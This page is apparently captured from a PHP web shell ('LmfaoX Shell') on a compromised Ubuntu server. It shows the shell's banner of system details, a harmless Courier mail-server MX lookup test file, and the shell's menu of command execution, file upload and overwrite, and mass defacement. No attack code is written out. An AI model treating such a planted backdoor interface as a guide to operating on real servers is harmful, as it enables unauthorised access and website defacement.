ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.17 GB of 70.42 GB (34.33%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ courier/ - drwxrwxrwx

Directory:
Viewing file:     testmxlookup.c (1.87 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
** Copyright 1998 - 2005 Double Precision, Inc.
** See COPYING for distribution information.
*/

#include    "config.h"
#include    "courier.h"
#include    "rfc1035/config.h"
#include    "rfc1035/rfc1035.h"
#include    "rfc1035/rfc1035mxlist.h"
#include    "rfc1035/rfc1035_res.h"
#include    <sys/types.h>
#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <time.h>
#include    <arpa/inet.h>


static void setns(const char *p)
{
#if    RFC1035_IPV6
struct in6_addr ia[4];
#else
struct in_addr ia[4];
#endif
int    i=0;
char    *q=malloc(strlen(p)+1), *r;

    strcpy(q, p);
    for (r=q; (r=strtok(r, ", ")) != 0; r=0)
        if (i < 4)
            if (rfc1035_aton(r, &ia[i]) == 0)
                ++i;

    rfc1035_init_ns(&rfc1035_default_resolver, ia, i);
}

int main(int argc, char **argv)
{
int    argn;
const char *q_name;
struct rfc1035_mxlist *mxlist, *p;

    argn=1;
    srand(time(NULL));
    while (argn < argc)
    {
        if (argv[argn][0] == '@')
        {
            setns(argv[argn]+1);
            ++argn;
            continue;
        }

        break;
    }

    if (argn >= argc)    exit(0);

    q_name=argv[argn++];

    switch (rfc1035_mxlist_create(&rfc1035_default_resolver,
        q_name, &mxlist))    {
    case    RFC1035_MX_OK:
        break;
    case    RFC1035_MX_SOFTERR:
        printf("Soft error.\n");
        exit(0);
    case    RFC1035_MX_HARDERR:
        printf("Hard error.\n");
        exit(0);
    case    RFC1035_MX_INTERNAL:
        printf("Internal error.\n");
        exit(0);
    case    RFC1035_MX_BADDNS:
        printf("Bad DNS records (recursive CNAME).\n");
        exit(0);
    }

    printf("Domain %s:\n", q_name);
    for (p=mxlist; p; p=p->next)
    {
    RFC1035_ADDR    addr;
    char    buf[RFC1035_NTOABUFSIZE];

        if (rfc1035_sockaddrip(&p->address, sizeof(p->address),
            &addr)<0)
            continue;
        rfc1035_ntoa(&addr, buf);

        printf("Relay: %s, Priority: %d, Address: %s%s%s\n",
               p->hostname,
               p->priority, buf,
               config_islocal(p->hostname, NULL) ? " [ LOCAL ]":"",
               strcmp(p->hostname, buf) ? "":" [ ERROR ]");
    }

    rfc1035_mxlist_free(mxlist);
    return (0);
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2025 seconds